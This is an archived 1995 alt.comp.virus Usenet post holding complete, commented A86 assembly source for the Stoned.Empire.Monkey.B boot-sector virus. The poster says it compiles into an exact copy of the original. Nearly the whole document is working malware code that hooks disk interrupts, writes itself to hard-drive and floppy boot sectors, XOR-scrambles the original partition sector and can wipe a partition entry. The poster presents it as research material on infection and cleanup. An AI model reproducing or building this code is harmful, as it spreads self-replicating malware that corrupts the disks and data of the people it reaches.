home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / M.ZIP / MONKEY-B.ZIP / MONKEY-B.ASM
Assembly Source File  |  1995-01-15  |  12KB  |  381 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sun Jan 15 21:28:13 1995
  2. Xref: netcom.com alt.comp.virus:1039
  3. Newsgroups: alt.comp.virus
  4. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife
  5. From: halflife@tmok.res.wpi.edu (Halflife)
  6. Subject: monkey-b
  7. Message-ID: <halflife.75.0010F53B@tmok.res.wpi.edu>
  8. Lines: 365
  9. Sender: news@news.media.mit.edu (USENET News System)
  10. Organization: MIT Media Laboratory
  11. X-Newsreader: Trumpet for Windows [Version 1.0 Rev A]
  12. Date: Sun, 15 Jan 1995 21:57:21 GMT
  13. Lines: 365
  14.  
  15. ;**************************Stoned.Empire.Monkey.B
  16. ;This will create a binary image of Monkey. It compiles real well with the
  17. ;A86 compiler. I used that because I was trying to create source that was
  18. ;as equivalent to the original binary image as possible. With the exception
  19. ;of six bytes that differ due to using functionally equivalent op codes,
  20. ;Stoned.Empire.Monkey.B
  21. ;This is an MBR infected with the virus, it does not create an executable 
  22. ;file. It has to be compiled and manually loaded to the MBR or boot sector
  23. ;of a floppy diskette. This is an excellent study as to how these types 
  24. ;of viruses, and will give the researcher an very good resource as to how
  25. ;the infection mechanism works and how to prevent/clean this and other 
  26. ;similar viruses. 
  27. ;this is an exact duplicate when compiled with A86. If anyone wants to
  28. ;complete the commenting, please feel free as I did not understand some of 
  29. ;this code. the author apparently had an excellent understanding of 
  30. ;the partition loading stub as these areas are read during the installation
  31. ;of the virus. If you do add comments, send me a copy
  32. ;Leonard Gragson
  33. ;lgragson@fileshop.com
  34. ;YBMY91A - Prodigy
  35. ;73141,1034 - Compuserve
  36. ;
  37.         jmp     short virus_start       ;all jmps are short
  38.         nop     
  39.         mov     ss, ax
  40.         mov     sp, 7c00h
  41.         mov     si, sp
  42.         push    ax
  43.         pop     es
  44.         push    ax
  45.         pop     ds
  46.         sti
  47.         cld
  48.         mov     di, 0600h
  49.         mov     cx, 100h
  50.         repnz   movsw
  51.         db      0eah, 1dh, 6, 0, 0     
  52.                 ;jmp far 0000:061dh
  53.         
  54.         mov     si, 7beh
  55.  
  56.  
  57.  
  58. virus_start:
  59.        cli                      ;no system interrupts
  60.        sub      bx, bx          ;zero bx
  61.        mov      ds, bx          ;
  62.        mov      ss, bx
  63.        mov      sp, 7c00h       ;just below boot data area
  64.        
  65.        db       0eah, 2fh, 0, 0c0h, 7
  66.                 ;***thats a jmp far  07c0:002f, which is next instruction
  67.                 ;***this sets offsets to org 0
  68.        
  69.        
  70.        int      12h             ;get sys mem in ax
  71.        mov      si, 4ch
  72.        push     si
  73.        cmp      byte ptr cs:[00f2h], 2 ;test for BIOS mem location
  74.        jz       next_pt1
  75.        call     shrink_mem
  76.  
  77.        mov      di, 01fc
  78.        mov      cx, 2
  79.        cld
  80.        repz     movsw           ;load int13h address into virus INT 13h handler
  81.                                 ;which will start at es:0
  82.        jmp   short   next_pt2
  83.  
  84. next_pt1:
  85.         call    set_es
  86. next_pt2:
  87.         pop     si                      ;points to INT 13h vector entry
  88.         mov     word ptr [si], 007dh    ;offset
  89.         mov     word ptr [si + 2], ax   ;ax == es, where virus handler is going
  90.  
  91.         push    cs
  92.         pop     ds                      ;ds == 0 up to this point
  93.         call    mov_virus               ;ds now == 7c0h
  94.  
  95.         push    es
  96.         mov     ax, 0062h               ;for retf to virus
  97.         push    ax                      
  98.         sti                             ;enable interrupts
  99.         retf                            ;to es:62h -> see next routine
  100.  
  101. set_virus:         ;<- this is offset 62h! at virus location es:0062h
  102.  
  103.         mov     es, cx                  ;like xor es, es
  104.         mov     bx, sp                  ;still at 7c00h!
  105.         push    cx
  106.         push    bx                      ;for return to 0000:7c00
  107.  
  108.         mov     dx, 0080h               ;c: drive, cyl 0
  109.         call    set_si                  ;haven't figured this out yet
  110.  
  111.         call    do_virus_thing
  112.  
  113.         mov     cl, 3
  114.         mov     dx, 80h
  115.         call    read_drive
  116.         call    scramble_boot
  117.         retf
  118.  
  119. int_13h_handler:
  120.         push    ds
  121.         push    si
  122.         push    di
  123.         push    ax
  124.         push    cx
  125.         push    dx
  126.         call    set_si
  127.         cmp     ah, 2                   ;read operation?
  128.         jnz     not_two
  129.         push    dx
  130.         sub     ax, ax
  131.         int     1ah
  132.         cmp     dl, 40h
  133.         pop     dx
  134.         jnb     not_two
  135.         call    do_virus_thing          ;write a virus to the drive or disk
  136.  
  137. not_two:
  138.         pop     dx
  139.         pop     cx
  140.         pop     ax
  141.         pop     di
  142.         push    dx
  143.         push    cx
  144.         push    ax
  145.         cmp     cx, 3
  146.         jnb     not_three
  147.         cmp     dh, [si]                ;check for read/write to virus sector
  148.         jnz     not_three
  149.         cmp     ah, 2
  150.         jz      call_int13h
  151.         cmp     ah, 3
  152.         jnz     not_three
  153.         cmp     dl, 80h
  154.         jb      not_three
  155.         sub     ah, ah
  156.         jmp  short   not_three
  157.  
  158.  
  159. call_int13h:    
  160.         call    int_13h_call
  161.         jb      end_handler    
  162.         call    check_data1
  163.         jz      point_two      
  164.         call    check_data2
  165.         jz      point_two
  166.         clc
  167.         jmp  short   end_handler
  168.  
  169. point_two:
  170.         call    set_real_partition
  171.         mov     dh, [si + 1]
  172.         pop     ax
  173.         call    int_13h_call
  174.         call    scramble_boot
  175.         pop     cx
  176.         pop     dx
  177.         jmp  short   end_here
  178. not_three:
  179.         call    int_13h_call
  180. end_handler:
  181.         pop     ds
  182.         pop     ds
  183.         pop     ds
  184. end_here:
  185.         pop     si
  186.         pop     ds
  187.         retf    2
  188.  
  189. data_area       db      0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh
  190.  
  191. read_drive:
  192.         mov     ax, 0201h               ;read 1 sector
  193. int_13h_call:
  194.         pushf                           ;simulate INT
  195.         db      2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch]
  196.         ret                                                
  197.  
  198. shrink_mem:
  199.         dec     ax              ;contains mem from int 12h
  200.         mov     di, 414h
  201.         dec     di              ;this has got to be a "fool the scanner" trick
  202.         mov     [di], ax        ;shrink sys me by 1 K
  203. set_es:
  204.         mov     cl, 6
  205.         shl     ax, cl          ;get top of base mem in segs
  206.         add     al, 20h         ;add a little more to be safe
  207.         mov     es, ax          ;and set es. This will be about 9fe0h or so
  208.                                 ;if full 640K mem
  209.         ret
  210.  
  211. write_drive:                                                    
  212.         mov     dh, [si]        ;on first infection si == 0 - head 0
  213.         mov     ax, 0301h       ;write one sector
  214.         call    int_13h_call    ;and do it
  215.  
  216.         ret
  217.  
  218. do_virus_thing:
  219.         sub     cx, cx
  220.         inc     cx
  221.         push    cx                      ;god, mov cx, 1
  222.         mov     dh, [si]                ;location of sector
  223.         call    read_drive              ;read in one sector, this will be partition
  224.                                         ;on first infection
  225.         jb      end_do_virus_thing      ;error? lets abort
  226.  
  227.         call    check_data1             ;do we have 9219h sectors in last partition? 
  228.         jz      end_do_virus_thing      ;if so, get out of town                
  229.         
  230.         call    check_data2
  231.         jnz     next_virus_pt
  232.  
  233.         cmp     word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition?
  234.         jz      end_do_virus_thing         ; quit     
  235.         
  236.         mov     word ptr es:[bx + 1fah], 0 ;this will kill last partition
  237.         mov     cl, 1                      ;sector 1?
  238.  
  239.         call    write_drive
  240.         jb      end_do_virus_thing            ;error abort  
  241.         inc     cx                          ;sector 2?
  242.         mov     dh, [si + 2]
  243.         
  244.         call    read_drive                  ;get the boot sector
  245.         jb      end_do_virus_thing
  246.  
  247.         pop     ax                          ;should == 1    
  248.         push    cx                          
  249.  
  250. next_virus_pt:
  251.  
  252.         call    set_real_partition
  253.         call    scramble_boot
  254.  
  255.         inc     si
  256.         call    write_drive
  257.  
  258.         dec     si
  259.         jb      end_do_virus_thing
  260.  
  261.         call    scramble_boot
  262.  
  263.         push    cx
  264.         call    mov_virus
  265.         pop     cx
  266.         push    dx
  267.         mov     dl, [si + 3]
  268.         
  269.         ;mov     word ptr es:[bx + 74h], dx
  270.         db      26h, 89h, 97h, 74h, 00
  271.         ;****equivalent, I did this due to A86 translation being a little
  272.         ;****different than the virus I captured
  273.         
  274.         pop     dx
  275.         
  276.         ;mov     byte ptr es:[bx + 72h], cl
  277.         db      26h, 88h, 8fh, 72h, 00
  278.         ;****equivalent, I did this due to A86 translation being a little
  279.         ;****different than the virus I captured
  280.  
  281.         mov     word ptr es:[bx + 01feh], 0AA55h
  282.         pop     cx
  283.         push    cx
  284.         mov     byte ptr es:[bx + 00f2h], cl
  285.         call    write_drive
  286.  
  287. end_do_virus_thing:
  288.         pop     ax
  289.         ret
  290.  
  291. mov_virus:
  292.  
  293. ;****************** whole virus including first jmp is stored
  294. ;****************** and accessed later for disk/drive infections
  295.         
  296.         push    si
  297.         mov     di, bx                  ;di == 0
  298.         mov     si, 20h                 ;this is where virus starts
  299.         add     di, si                  ;he's keeping space between 1st jmp
  300.                                         ;and the virus loading stub constant
  301.                                         ;to facilitate future infections
  302.         mov     cx, 1dch                ;we're moving this many
  303.         repz    movsb                   ;and mov 'em
  304.  
  305.         mov     di, bx                  ;like xor di, di 
  306.         sub     si, si                  ;like xor si, si
  307.  
  308.         mov     cl, 3                   ;movs the first jmp 
  309.         repz    movsb                   ;instruction!        
  310.         
  311.         pop     si
  312.         ret
  313. ;************checks for number of sectors in last partition!
  314. check_data1:
  315.         cmp     word ptr es:[bx + 01fah], 9219h
  316.         ret
  317.  
  318. ;************not sure what is going on here, offset 119h is in the partition code
  319. ;************this ain't a virus ID
  320. check_data2:
  321.         cmp     word ptr es:[bx + 119h], 6150h
  322.         ret
  323.  
  324. scramble_boot:
  325.         push    di
  326.         push    cx
  327.         push    ax
  328.         mov     di, bx
  329.         mov     cx, 200h
  330.         cld
  331. scram_loop:        
  332.         mov     al, byte ptr es:[di]
  333.         xor     al, 2eh
  334.         stosb
  335.         loop    scram_loop
  336.  
  337.         pop     ax
  338.         pop     cx
  339.         pop     di
  340.         ret
  341.  
  342. set_si:
  343.         push    cs
  344.         pop     ds
  345.         mov     si, 00eah               ;location of real partition
  346.         cmp     dl, 80h                 ;hard drive access?
  347.         jb      end_set_si              ;no? lets go
  348.         mov     si, 00eeh               ;hard drive infection routine
  349. end_set_si:
  350.         ret
  351.  
  352. ;***********I think this loads the real partition which was read from sector 2
  353. ;***********DS equ 7c0h
  354. set_real_partition:
  355.  
  356.         push    di
  357.         push    si
  358.         mov     al, byte ptr es:[bx + 14h]
  359.         mov     cx, 4
  360. loop_ptr:        
  361.         mov     si, cx
  362.         dec     si
  363.         cmp     [si + 00f3h], al
  364.         jz      set_cl
  365.         loop    loop_ptr
  366.         mov     cl, 3
  367.         jmp  short   bye
  368. set_cl:        
  369.         mov     cl, [si+00f7h]
  370. bye:
  371.         pop     si
  372.         pop     di
  373.         ret
  374.  
  375.  
  376. scraps  db      05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah
  377.  
  378.  
  379.  
  380.  
  381.